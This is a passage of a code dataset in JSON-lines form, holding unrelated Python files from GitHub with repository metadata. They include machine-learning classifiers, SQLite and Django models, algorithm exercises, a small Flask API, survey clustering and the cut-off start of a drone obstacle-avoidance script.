pred_rfc))\r\nprint(confusion_matrix(Y_test, pred_rfc))\r\nsns.heatmap(confusion_matrix(Y_test, pred_rfc),annot=True,fmt='.0f')\r\n\r\n\r\n# %%\r\nclf=svm.SVC()\r\nclf.fit(X_train,Y_train)\r\npred_clf = clf.predict(X_test)\r\n\r\nprint(classification_report(Y_test, pred_clf))\r\nprint(confusion_matrix(Y_test, pred_clf))\r\nsns.heatmap(confusion_matrix(Y_test, pred_clf),annot=True,fmt='.0f')\r\n\r\n# %%\r\nmlpc = MLPClassifier(hidden_layer_sizes=(11,11,11),max_iter=500)\r\nmlpc.fit(X_train,Y_train)\r\npred_mlpc = mlpc.predict(X_test)\r\n\r\nprint(classification_report(Y_test, pred_mlpc))\r\nprint(confusion_matrix(Y_test, pred_mlpc))\r\nsns.heatmap(confusion_matrix(Y_test, pred_mlpc),annot=True,fmt='.0f')\r\n\r\n# %%\r\nmodel = Sequential()\r\n\r\n\r\nmodel.add(Dense(30,activation='relu'))\r\nmodel.add(Dense(15,activation='relu'))\r\n\r\n##Binary Classification\r\nmodel.add(Dense(1,activation='sigmoid'))\r\n\r\nmodel.compile(optimizer='adam',loss='binary_crossentropy')\r\nmodel.fit(X_train,Y_train,validation_data=(X_test,Y_test),epochs=100)\r\n\r\n\r\nloss_df_drop = pd.DataFrame(model.history.history)\r\nloss_df_drop.plot()\r\npred_NN = model.predict_classes(X_test)\r\ncm_NN = accuracy_score(Y_test, pred_NN)\r\nprint(classification_report(y_true=Y_test,y_pred=pred_NN))\r\nprint(classification_report(Y_test, pred_NN))\r\nprint(confusion_matrix(Y_test, pred_NN))\r\n\r\nsns.heatmap(confusion_matrix(Y_test,pred_NN),annot=True,fmt='.0f')\r\n\r\n\r\n########################################\r\n\r\n\r\n# %%\r\ncm_lr = accuracy_score(Y_test, pred_lr)\r\ncm_rfc = accuracy_score(Y_test, pred_rfc)\r\ncm_clf = accuracy_score(Y_test, pred_clf)\r\ncm_mlpc = accuracy_score(Y_test, pred_mlpc)\r\n\r\n\r\nprint(\"Testing Accuracy for\")\r\nprint(\"logistic regression Clasification:\", cm_lr)\r\nprint(\"Random Forest Clasification:\", cm_rfc)\r\nprint(\"SVM Classifier:\", cm_clf)\r\nprint(\"Basic MLP:\", cm_mlpc)\r\nprint(\"2 layer MLP adams:\", cm_NN)\r\n\r\n# %%\r\n","repo_name":"chinmayrane55/Breast-cancer-kaggle","sub_path":"breast_cancer_py.py","file_name":"breast_cancer_py.py","file_ext":"py","file_size_in_byte":5229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28330575666","text":"# fassa um programa que possa atualizar os dados de um determinado cliente, \n# fornecendo o id dele.\nimport sqlite3\nconexao = sqlite3.connect(\"Aula_Semana4\")\ncursor = conexao.cursor()\ncliente_id = input(\"Qual o ID do cliente que deseja atualizar? \")\nnome = input(\"Informe o novo nome do cliente: \")\ncpf = input(\"Informe o novo CPF do cliente: \")\nsql = '''\nupdate cliente set nome = ?, cpf = ? where id = ?\n'''\nvalores = [nome, cpf, cliente_id]\ncursor.execute(sql, valores)\nconexao.commit()\nconexao.close()","repo_name":"valdinei84/Projetos-Python","sub_path":"MODULO 2 SQL E BANCO DE DADOS/Semana 4 Criando BD e inserindo dados/Atualizando_Dados_De_Um_Cliente.py","file_name":"Atualizando_Dados_De_Um_Cliente.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"16488098147","text":"\nimport json\nimport requests\n\ndef main():\n response = requests.get('http://api.tianapi.com/guonei/?key=APIKey&num=10')\n data_model =json.loads(response.text)\n print(data_model)\n # for news in data_model['newlist']:\n # print(news['title'])\n\nif __name__ == '__main__':\n main()","repo_name":"SandaoTu/myday100","sub_path":"day1-15/day11_file_exception/05_json_loads.py","file_name":"05_json_loads.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32983253354","text":"#!/usr/bin/env python\nimport os\nimport io\nimport gzip\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport requests\nfrom collections import defaultdict\nimport pickle\nplt.style.use('ggplot')\n\n\ndef find_per_missing(dataframe):\n ddd = dict(dataframe.isnull().sum())\n dd = defaultdict(list)\n nn = dataframe.shape[0]\n for key, value in ddd.items():\n dd['name'].append(key)\n dd['missing'].append(value)\n if value == 0:\n dd['%_missing'].append(value)\n else:\n val = 100 * value / nn \n dd['%_missing'].append(f'{val:.2f}')\n\n mm = pd.DataFrame(dd)\n print(mm)\n\n\ndef find_unique(dataframe):\n dd2 = defaultdict(list)\n for item in list(dataframe.columns):\n dd2['name'].append(item)\n dd2['dtype'].append(dataframe[item].dtype)\n unique = len(dataframe[item].unique())\n dd2['number_unique'].append(unique)\n\n mm2 = pd.DataFrame(dd2)\n print(mm2)\n\n\npath = \"C:\\\\Users\\\\Jose\\\\Desktop\\\\TimerSeriesAnalysis\\\\police_nj\\\\\"\n\nos.chdir(path)\n\nurl = 'https://stacks.stanford.edu/file/druid:py883nd2578/RI-clean.csv.gz'\n\nr = requests.get(url, stream=True)\n\nrfile = io.BytesIO(r.content); \ntts = []\n\nwith gzip.GzipFile(fileobj=rfile) as gzfile:\n for chunk in pd.read_csv(gzfile, chunksize=100000, low_memory=False):\n tts.append(chunk)\n\ndf = pd.concat(tts)\n\ndf['is_arrested'] = df['is_arrested'].astype('bool')\nprint(df.info())\nprint(df.head()) \nfind_per_missing(df)\nfind_unique(df)\n\n\ndf.replace(to_replace=['NA:NA', '24:00'], value=[np.nan,'23:59'], inplace=True)\ndf.stop_time.interpolate(method='linear', limit_direction='forward', axis=0, inplace=True)\ndf.stop_date.interpolate(method='pad', inplace=True)\ndf.dropna(subset=['stop_time'], inplace=True)\nfulltime = df.stop_date.str.cat(df.stop_time, sep=' ')\n\n# Convert 'combined' to datetime format\ndf['fulldatetime'] = pd.to_datetime(fulltime)\n\n# set index with stop_datetime\ndf.set_index('fulldatetime', inplace=True)\ndf.index.rename('stop_datetime', inplace=True)\n\n# drop using index column\n# df.dropna(subset=df.index.name, inplace=True)\ndf.drop(list(df.columns[0:9]), axis=1, inplace=True)\ndf.drop(['search_type_raw', 'search_type', 'driver_age_raw', 'driver_race_raw'], \n axis=1, inplace=True)\n\nprint(df.info())\nprint(df.head())\nprint(df.tail())\n\n# df.to_csv('clean_RI.csv') ### file here is very large\n# save file as pickled file to save space\nwith open('clean_RI.pickle', 'wb') as f:\n # Pickle the 'data' dictionary using the highest protocol available.\n pickle.dump(df, f, pickle.HIGHEST_PROTOCOL)","repo_name":"jocoder22/TimerSeriesAnalysis","sub_path":"police_nj/data_cleaning2.py","file_name":"data_cleaning2.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"396114540","text":"import numpy as np\nimport torch\n\nclass EarlyStopping:\n def __init__(self, mode='min', patience=7, verbose=False, delta=0, path='weights/cifar10.pth', trace_func=print):\n self.mode = mode\n self.patience = patience\n self.verbose = verbose\n self.delta = delta\n self.path = path\n self.trace_func = trace_func\n self.best_score = None\n self.counter = 0\n self.early_stop = False\n self.val_score = np.Inf\n\n def save_checkpoint(self, score, model):\n if self.verbose:\n self.trace_func(f'Validtion score decrease: {self.val_score:.4f} -> {self.self.best_score:.4f}')\n torch.save(model.state_dict(), f=self.path)\n self.val_score = score\n\n def __call__(self, score, model):\n if self.mode == 'min':\n score = -score\n\n if self.best_score is None:\n self.best_score = score\n self.save_checkpoint(score, model)\n\n elif score < self.best_score:\n self.counter += 1\n if self.counter > self.patience:\n self.early_stop = True\n else:\n self.trace_func(f'early_stopping: {self.counter}/{self.patience}')\n\n else:\n self.best_score = score\n self.save_checkpoint(score, model)\n self.counter = 0","repo_name":"PhongPX1603/CNNs_classification","sub_path":"early_stopping/early_stopping.py","file_name":"early_stopping.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"10480682477","text":"from typing import List\n\ndef count_construct(target: str, words: List[str]) -> int:\n \"\"\"\n Returns the number of ways target can be constructed by\n concatenating strings from words\n \"\"\"\n \n if target == \"\":\n return 1\n\n count = 0\n for word in words:\n if target.startswith(word):\n count += count_construct(target[len(word):], words)\n\n return count\n\n\ndef count_construct_memo(target: str, words: List[str], memo={}) -> int:\n \"\"\"\n Returns the number of ways target can be constructed by\n concatenating strings from words\n \"\"\"\n if target in memo:\n return memo[target]\n \n if target == \"\":\n return 1\n\n count = 0\n for word in words:\n if target.startswith(word):\n count += count_construct_memo(target[len(word):], words, memo)\n\n memo[target] = count\n return count\n\n\n\nprint(count_construct_memo(\"abcdef\", ['ab', 'abc', 'cd', 'def', 'abcd']))\nprint(count_construct_memo(\"purple\", ['purp', 'p', 'ur', 'le', 'purpl']))\nprint(count_construct_memo(\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeef\", [\"e\", \"ee\", \"eee\", \"eeeee\", \"eeeeeeee\"]))","repo_name":"Iliaromanov/Algos-and-DataStructs-Practice","sub_path":"Dynamic_Programming/count_construct.py","file_name":"count_construct.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"26896961688","text":"# Definition for a binary tree node.\nfrom typing import List\nfrom collections import deque\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\ndef list_to_treeNode(nums):\n if not nums:\n return None\n root = TreeNode(nums[0])\n queue = deque([root])\n length = len(nums)\n index = 1\n\n while queue:\n node = queue.popleft()\n if index < length:\n if nums[index] is not None:\n node.left = TreeNode(nums[index])\n queue.append(node.left)\n index += 1\n if index < length:\n if nums[index] is not None:\n node.right = TreeNode(nums[index])\n queue.append(node.right)\n index += 1\n return root\n\ndef rightSideView(root: TreeNode) -> List[int]:\n res = []\n q = deque([root])\n\n while q:\n rightSide = None\n qLen = len(q)\n\n for _ in range(qLen):\n node = q.popleft()\n if node:\n rightSide = node\n q.append(node.left)\n q.append(node.right)\n if rightSide:\n res.append(rightSide.val)\n return res\n\n\nroot = [1,2,3,None,5,None,4]\nprint(root)\ntree = list_to_treeNode(root)\nprint(rightSideView(tree))\n\n\"\"\"\nこのコードは、与えられた二分木の「右側からの視点」のノードの値を順にリストとして返すものです。つまり、各深さのレベルで最も右側にあるノードの値をリストに追加しています。\n\nコードの各部分の詳細な説明は以下の通りです:\n\n1. `def rightSideView(self, root: TreeNode) -> List[int]:`\n - メソッドの定義部分。このメソッドは、二分木のrootノードを入力として受け取り、右側から見た時のノードの値をリストとして返す。\n\n2. `res = []`\n - 結果を格納するためのリスト。\n\n3. `q = collections.deque([root])`\n - 二分木のノードを探索するためのキュー。dequeを使用しています。\n\n4. `while q:`\n - キューが空でない間、ループを続けます。\n\n5. `rightSide = None`\n - 各レベルでの最も右側のノードを格納する変数。\n\n6. `qLen = len(q)`\n - 現在のキューの長さ(つまり、現在のレベルのノード数)を取得します。\n\n7. `for i in range(qLen):`\n - 現在のレベルの各ノードを順に探索するためのループ。\n\n8. `node = q.popleft()`\n - キューの先頭からノードを取り出します。\n\n9. `if node:`\n - ノードが存在する場合の処理。\n\n10. `rightSide = node`\n - 取り出したノードをrightSideに格納します。\n\n11. `q.append(node.left)` と `q.append(node.right)`\n - 現在のノードの左と右の子ノードをキューの末尾に追加します。\n\n12. `if rightSide:`\n - rightSideが設定されている場合(つまり、現在のレベルでノードが存在する場合)の処理。\n\n13. `res.append(rightSide.val)`\n - rightSideのノードの値を結果リストに追加します。\n\n14. `return res`\n - 最終的な結果リストを返します。\n\nこのアルゴリズムは、幅優先探索 (BFS) を基にしており、各レベルの最後のノード(最も右側のノード)の値のみを結果リストに追加しています。\n\"\"\"\n\n\"\"\"\nはい、そのとおりです!このアプローチのポイントは、`rightSide = node` の部分にあります。\n\n各レベルのノードを順に探索する際、最後のノードがそのレベルでの最も右側のノードになります。したがって、ループの各ステップで `rightSide` を上書きすることで、ループの終わりには最も右側のノードだけが `rightSide` に残るというわけです。\n\nこのようなシンプルなアイデアを利用することで、コードは簡潔で効率的に動作します。幅優先探索を理解していると、このようなアイデアが自然と思い浮かぶこともあります。ただ、新しいアイデアやアプローチに出会うことは、プログラミングやアルゴリズムの学習において非常に有益です。一度このようなアイデアを学ぶと、似たような問題や状況でその知識を活用することができるようになります。\n\"\"\"","repo_name":"majikojima/neetcode","sub_path":"07_Trees/09_BinaryTreeRightSideView.py","file_name":"09_BinaryTreeRightSideView.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70581264807","text":"# models/tipo_tela.py\nfrom .db import get_connection\n\nmydb = get_connection()\n\nclass TipoTela:\n\n def __init__(self, id_tela, nombre_tela, precio):\n self.id_tela = id_tela\n self.nombre_tela = nombre_tela\n self.precio = precio\n\n def save(self):\n with mydb.cursor() as cursor:\n sql = \"INSERT INTO tipo_tela(id_tela, nombre_tela, precio) VALUES(%s, %s, %s)\"\n val = (self.id_tela, self.nombre_tela, self.precio)\n cursor.execute(sql, val)\n mydb.commit()\n \n def update(self):\n with mydb.cursor() as cursor:\n sql = \"UPDATE tipo_tela SET nombre_tela = %s, precio = %s WHERE id_tela = %s\"\n val = (self.nombre_tela, self.precio, self.id_tela)\n cursor.execute(sql, val)\n mydb.commit()\n \n def delete(self):\n with mydb.cursor() as cursor:\n sql = \"DELETE FROM tipo_tela WHERE id_tela = %s\"\n val = (self.id_tela,)\n cursor.execute(sql, val)\n mydb.commit()\n \n @staticmethod\n def get(id_tela):\n with mydb.cursor(dictionary=True) as cursor:\n sql = \"SELECT id_tela, nombre_tela, precio FROM tipo_tela WHERE id_tela = %s\"\n val = (id_tela,)\n cursor.execute(sql, val)\n result = cursor.fetchone()\n tela = TipoTela(result[\"id_tela\"], result[\"nombre_tela\"], result[\"precio\"])\n return tela\n \n @staticmethod\n def get_all():\n telas = []\n with mydb.cursor(dictionary=True) as cursor:\n sql = \"SELECT id_tela, nombre_tela, precio FROM tipo_tela\"\n cursor.execute(sql)\n result = cursor.fetchall()\n for item in result:\n telas.append(TipoTela(item[\"id_tela\"], item[\"nombre_tela\"], item[\"precio\"]))\n return telas\n \n @staticmethod\n def count_all():\n with mydb.cursor() as cursor:\n sql = \"SELECT COUNT(id_tela) FROM tipo_tela\"\n cursor.execute(sql)\n result = cursor.fetchone()\n return result[0]\n \n def __str__(self):\n return f\"{self.id_tela} - {self.nombre_tela}\"\n","repo_name":"KionBreadley01/integradoraV2","sub_path":"app/models/tipo_tela.py","file_name":"tipo_tela.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18343116699","text":"'''try:\r\n num = int(input(\"Enter value : \"))\r\n print(num)\r\nexcept ValueError:\r\n print(\"Input value is not a Integer... Try again\")\r\nfinally:\r\n print('Try & exception Block execution is completed and Finally block is active Now... ')'''\r\n\r\n\r\nname_of_unit = \"hours\"\r\ncalc_to_units = 24\r\n\r\ndef days_to_units(num_of_days):\r\n return f\"{num_of_days} days are {calc_to_units * num_of_days} {name_of_unit}\"\r\n \r\ndef validate_and_execute():\r\n try:\r\n user_input_num = int(user_input)\r\n if user_input_num > 0:\r\n calc_value = days_to_units(user_input_num)\r\n print(calc_value) \r\n elif user_input_num == 0:\r\n print(\" Please enter Valid +ve Number .... \")\r\n else:\r\n print(\"You are Entered -ve Number Please try again... \")\r\n except ValueError: \r\n print(\" Invalid Input value please provide valid input... \")\r\n\r\nuser_input = input(\" Enter a Value for days to hours conversion : \")\r\nvalidate_and_execute()","repo_name":"GaneshBolla/GaneshBolla","sub_path":"try-except.py","file_name":"try-except.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22230373830","text":"from django.db import models\n\n\nclass Deal(models.Model):\n customer = models.CharField(max_length=200, verbose_name='Customer')\n item = models.CharField(max_length=200, verbose_name='Product')\n quantity = models.IntegerField(verbose_name='Quantity')\n price = models.IntegerField(verbose_name='Price')\n deal_date = models.DateTimeField(verbose_name='Deal Date')\n\n def __str__(self):\n return f'{self.customer} | {self.deal_date.strftime(\"%Y-%m-%d\")}'\n\n class Meta:\n verbose_name_plural = 'Deals'\n","repo_name":"borboletinha/csv_processor","sub_path":"deals/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35849870687","text":"from __future__ import print_function\nfrom builtins import zip\n\n\nimport os\nimport csv\nfrom RRtoolbox.lib.root import glob\nfrom RRtoolbox.lib.cache import MemoizedDict\nfrom RRtoolbox.lib.image import getcoors, loadFunc, drawcoorarea\nfrom RRtoolbox.lib.directory import getData\n\nroot = \"/mnt/4E443F99443F82AF/MEGAsync/TESIS/DATA_RAW/analysis/\"\nroot = \"/mnt/4E443F99443F82AF/MEGAsync/TESIS/DATA_RAW/classified/set15/\"\nfns = glob(root+\"*.*\")\nmode = 1\n# mode 0 lest the user run all un-cached tests,\n# mode 1 lets the user run all tests and correct cached tests.\n# mode 2 lets is used to change the fields in the cached data\n\ndata = MemoizedDict(os.path.abspath(__file__).split(\".\")[0] + \"_cached\")\nloader = loadFunc(1)\n\nfor fn in fns:\n print(\"checking\",fn)\n key = \"\".join(getData(fn)[-2:])\n if key in data and mode > 0:\n data_fn = data[key]\n else:\n data_fn = {}\n if key not in data or mode == 1: # cache new data or replace previous test\n print(\"test for\",fn)\n img = loader(fn)\n coors_retina = [getcoors(img,\"select retinal area for {}\".format(key),drawcoorarea,coors=data_fn.get(\"coors_retina\"))]\n coors_optic_disc = [getcoors(img,\"select optic disc for {}\".format(key),drawcoorarea,coors=data_fn.get(\"coors_optic_disc\"))]\n defects_c = data_fn.get(\"coors_defects\")\n defects = []\n if defects_c is not None:\n for i in defects_c:\n if i:\n coors = getcoors(img,\"select defects (inside retina):\",drawcoorarea,coors=i)\n defects.append(coors)\n while True:\n coors = getcoors(img,\"select defects (inside retina):\",drawcoorarea)\n defects.append(coors)\n if not coors:\n break\n\n data[key] = {\"fn\":fn,\n \"coors_retina\":coors_retina,\n \"coors_optic_disc\":coors_optic_disc,\n \"coors_defects\":defects,\n \"shape\":img.shape}\n\n if mode == 2 and data_fn:\n data_fn[\"shape\"] = loader(fn).shape\n data[key] = data_fn\n\nif False:\n data = list(zip(*data))\n data.insert(0,headers)\n with open('experimental_data.csv', 'wb') as csvfile:\n wr = csv.writer(csvfile, delimiter=\";\", dialect='excel')\n wr.writerows(data)\n\n","repo_name":"davtoh/RRtools","sub_path":"tests/experimental_expert.py","file_name":"experimental_expert.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"41112325801","text":"from sys import *;\n\ndef main():\n print(\"Comparing Two File \")\n if len(argv) < 3:\n print(\"Invalid Number Of Argument \")\n print(\"Example :\")\n print(\"python Assignment9_4.py FileName1 FileName2\");\n print(\"Filename1 : Name Of the File \");\n print(\"FileName2 : Name Of the Second File\")\n exit()\n file1 = open(argv[1],\"r\");\n file2 = open(argv[2],\"r\")\n flag = False\n for line1 in file1:\n for line2 in file2:\n if line1 == line2:\n pass\n else:\n print(\"File Contents Are Not Same\");\n flag = True\n break\n if flag == False:\n print(\"File Contents Are same\")\n\n file1.close();\n file2.close()\n\nif __name__ == \"__main__\":\n main()","repo_name":"SachinRameshGore/Python-Programs","sub_path":"Assignment9/Assignment9_4.py","file_name":"Assignment9_4.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20781095938","text":"class Persona:\n def __init__(self, color):\n self.__color__ = color\n self.__mejor__ = None\n def asignarMejor(self, amigo):\n self.__mejor__ = amigo\n\ndef __main__():\n negro = Persona(\"negro\")\n azul = Persona(\"azul\")\n verde = Persona(\"verde\")\n negro.asignarMejor(azul)\n azul.asignarMejor(verde)\n verde.asignarMejor(negro)\n print(\"me llamo \" + negro.__color__ + \"y mi amigo es \" + negro.__mejor__.__color__) \n\n__main__()","repo_name":"mauriciotoro/ST0245-Eafit","sub_path":"codigos-de-clase/2021-2/LISTAS/Persona.py","file_name":"Persona.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"es","doc_type":"code","stars":34,"dataset":"github-code","pt":"53"}
+{"seq_id":"17220657779","text":"import subprocess\nfrom PIL import Image\n\n# increase maximum image buffer size\nImage.MAX_IMAGE_PIXELS = Image.MAX_IMAGE_PIXELS * 4\n\n\n\n\ndef downsampleImage (input, output, factor):\n \"\"\"\n Downsample an image\n \"\"\"\n img = Image.open(input)\n w = int (float(img.size[0]) / float (factor))\n h = int (float(img.size[1]) / float (factor))\n img = img.resize((w, h), Image.ANTIALIAS)\n img.save(output) \n return True\n","repo_name":"WhiteSheet/pcsg","sub_path":"pcsg/util/downsample.py","file_name":"downsample.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35092815917","text":"from flask import Flask, request, jsonify #flask, e um micro framewrok, utilizado no desenvolvimento web, atravez dele vou criar a api\nfrom flask_basicauth import BasicAuth #biblioteca responsavel por protege a API de acessos nao desejado, vai pedir uma autenticacao basica para so depois poder acessa a API\nfrom sklearn.utils import resample\nfrom textblob import TextBlob #biblioteca capaz de fazer analise em liguagem natural ou seja normal\nfrom sklearn.linear_model import LinearRegression\nimport pickle # serializacao\n\nmodelo = pickle.load(open('modelo.sav', 'rb')) #pickle e responsavel pelo processo de serializacao, grava e ler variaveis em arquivo, a variavel gravada e um modelo ja treinado, agora estamos lendo, para gravar usar o dump, para ler o load\ncolunas = ['tamanho', 'ano', 'garagem']\n\napp = Flask(__name__)\napp.config['BASIC_AUTH_USERNAME'] = 'julio' #Name e senha para poder acessar a API\napp.config['BASIC_AUTH_PASSWORD'] = 'alura'\n\nbasic_auth = BasicAuth(app) #A biblioteca vai passar no app e garanti que so seja feito o acesso da API passando pela autenticacao basica\n\n@app.route('/') # A rota, '/' é a rota base(home)\ndef home():\n return 'Minha primeira API.'\n\n@app.route('/sentimento/') # o usuario vai passar uma varivel atravez da url, atravez dessa tag<> \n@basic_auth.required #Esse endpoint so pode ser acessado se for passado a autenticacao correta\ndef sentimento(frase):\n tb = TextBlob(frase)\n tb_en = tb.translate(to = 'en') #para para o ingles pq o algoritmo tem um desempenho bem melhor nesse idioma\n polaridade = tb_en.sentiment.polarity #analisa se a fazer é positiva ou negatica, sendo 1 positiva e - 1 negatica\n return \"polaridade: {}\" .format(polaridade)\n\n@app.route('/cotacao/', methods = ['POST']) #A chama agora nao é mais GET e sim POST, o POST foi projetado para aceita os dados anexados no corpo da mensagem de requisição para armazenamento...\n@basic_auth.required\ndef cotacao():\n dados = request.get_json() #vai pegar os valores recebidos json e colocar na variavel dados\n dados_input = [dados[col] for col in colunas]\n preco = modelo.predict([dados_input])\n return jsonify(preco = preco[0]) #no desenvolvimento o web o formato json é frequentimente usado entao é bom a gente devolver o resultado em json \n\napp.run(debug = True) #debug vai fazer com que flask restart a aplicaçao quando alguma alteraçao for feita","repo_name":"melquemz/MLOps","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"755339826","text":"def countWords():\r\n fileName = input(\"enter your file name \")\r\n openFile = open(fileName, \"r\")\r\n numberOfWords = 0\r\n for i in openFile:\r\n words = i.split()\r\n numberOfWords= numberOfWords+len(words)\r\n print(words)\r\n print(numberOfWords)\r\ncountWords()\r\n","repo_name":"nivransh2008/python-programme1","sub_path":"function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8939226355","text":"\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom sklearn.cluster import KMeans\n\n# turning the csv into a dataframe\nsurvey = pd.read_csv(\"masculinity.csv\")\n\n# examining certain general aspects of the dataframe\n# print(survey.head())\n# print(survey.info())\n# print(survey.columns)\n# print(survey[\"q0007_0001\"].value_counts())\n\n# mapping the data and giving responses numerical values where linear progression is obvious\n# using question 7 since this question is about male lifestyle, could use other questions in cojunction\n# with this one but want to understand the data a bit better\ncols_to_map = [\"q0007_0001\", \"q0007_0002\", \"q0007_0003\", \"q0007_0004\",\"q0007_0005\", \"q0007_0006\", \"q0007_0007\", \"q0007_0008\", \"q0007_0009\",\"q0007_0010\", \"q0007_0011\"]\n\nfor col in cols_to_map:\n survey[col] = survey[col].map({\"Never, and not open to it\": 0, \"Never, but open to it\": 1, \"Rarely\": 2, \"Sometimes\": 3, \"Often\": 4})\n\n# testing for the number of responses for each category in question 7\n# print(survey['q0007_0001'].value_counts())\n\n# plotting some of the data \nplt.scatter(survey['q0007_0001'], survey['q0007_0002'], alpha = 0.1)\nplt.xlabel('Ask a Friend For Professional Advice')\nplt.ylabel('Ask a Friend For Personal Advice')\n# plt.show()\n\n# creating a KMeans Model on subquestions from question 7\n\n# the first 4 questions are tradtionally feminine activities and the other are tradtional male activities\n# would be interesting if the clusters split into two distinct clusters of data\nrows_to_cluster = survey.dropna(subset = ([\"q0007_0001\", \"q0007_0002\", \"q0007_0003\", \"q0007_0004\",\"q0007_0005\", \"q0007_0008\", \"q0007_0009\"]))\n\nclassifier = KMeans(n_clusters = 2)\nclassifier.fit(rows_to_cluster[[\"q0007_0001\", \"q0007_0002\", \"q0007_0003\", \"q0007_0004\",\"q0007_0005\", \"q0007_0008\", \"q0007_0009\"]])\n\n# initial cluster centers\n# print(classifier.cluster_centers_)\n\n# separating and investigating the cluster members\ncluster_zero_indices = []\ncluster_one_indices = []\n\nfor label in range(len(classifier.labels_)):\n if classifier.labels_[label] == 0:\n cluster_zero_indices.append(label)\n elif classifier.labels_[label] == 1:\n cluster_one_indices.append(label)\n\n# checking if the indicies of the clusters individual data separated properly\n# print(cluster_zero_indices)\n\ncluster_zero_df = rows_to_cluster.iloc[cluster_zero_indices]\ncluster_one_df = rows_to_cluster.iloc[cluster_one_indices]\n\n# checking the age distribution between the two clusters, numbers are shown as a percentage of people in each cluster\nprint(cluster_zero_df['age3'].value_counts()/len(cluster_zero_df))\nprint(cluster_one_df['age3'].value_counts()/len(cluster_one_df))\n\n# checking the education distribution between the two clusters, numbers are shown as a percentage of people in each cluster\nprint(cluster_zero_df['educ4'].value_counts()/len(cluster_zero_df))\nprint(cluster_one_df['educ4'].value_counts()/len(cluster_one_df))\n\n# it looks like the distribution of each cluster is by education and not by age hence\n# people who answered these questions are split by their level of education and not by their\n# masculine or feminine categories\n\n\n\n\n\n\n\n\n","repo_name":"zaydalameddine/Views_Of_Masculinity","sub_path":"Masculinity_Script/Masculinity_Script.py","file_name":"Masculinity_Script.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74492452967","text":"import rospy\nfrom sensor_msgs.msg import LaserScan\nfrom iq_gnc.py_gnc_functions import *\nfrom math import cos, sin, pow, radians, sqrt\nfrom geometry_msgs.msg import Point\n\n# imports for dronekit\nimport argparse\nfrom dronekit import connect, VehicleMode\nfrom dronekit import LocationGlobalRelative\nimport dronekit_sitl\n\nimport time\nimport math\nimport numpy as np\nimport threading\n\n# import auxiliary funcionts\nfrom mt_obs_avoid_functions import *\n\n\n############################################################ CONSTANTS ############################################################\n\nDRONE_NO = 1 # for multiple drones, duplicate program and increment this number (filename equal to that in multi_obs_avoid.launch)\nMAX_DETECTION_RANGE = 10\nMIN_DETECTION_RANGE = 0.35\nVELOCITY = 1 \nTAKEOFF_HEIGHT = 2 \nWAYPOINT_REACHED_TOL = 0.5 \nDISTANCE_MEASURE_FREQ = 1\nAVOIDANCE_MONITOR_FREQ = 1\nDELTA_T = 8\nDELTA_D = 1\n\n\n############################################################ CONNECTION ############################################################\n\ndef start_sitl_and_connect_to_vehicle(connection_string):\n \"\"\"\n Functionality to start SITL and automatically connect to vehicle\n (Alternatively, can run separately from /ardupilot/ArduCopter: sim_vehicle.py -v ArduCopter -f gazebo-iris --console \n and manually obtain the port from the console output, i.e. udpin:127.0.0.1:14550)\n \"\"\"\n if not connection_string:\n # Start SITL \n sitl = dronekit_sitl.start_default()\n connection_string = sitl.connection_string()\n\n # Connect to the Vehicle\n print(f\"Connecting to drone {DRONE_NO} on {connection_string}\")\n vehicle = connect(connection_string, wait_ready=True)\n\n return vehicle\n\n\n\n############################################################ INIT ############################################################\n\n# TODO: use __init__ class and clean up in object oriented manner\n\n# instantiate API object as global var\ndrone = gnc_api()\n\n# instantiate global vehicle object for drone data\nif DRONE_NO == 1:\n vehicle = start_sitl_and_connect_to_vehicle(\"udpin:127.0.0.1:14550\")\nelif DRONE_NO == 2:\n vehicle = start_sitl_and_connect_to_vehicle(\"udpin:127.0.0.1:14560\")\n\n# global var to count the number of avoidance maneuvers\navoidance_maneuver_counter = 0\n\n# global sum to count travelled distance\ntravel_distance = 0\n\n# global vars to monitor avoidance\nprevAvoided = 0\ncurrAvoided = 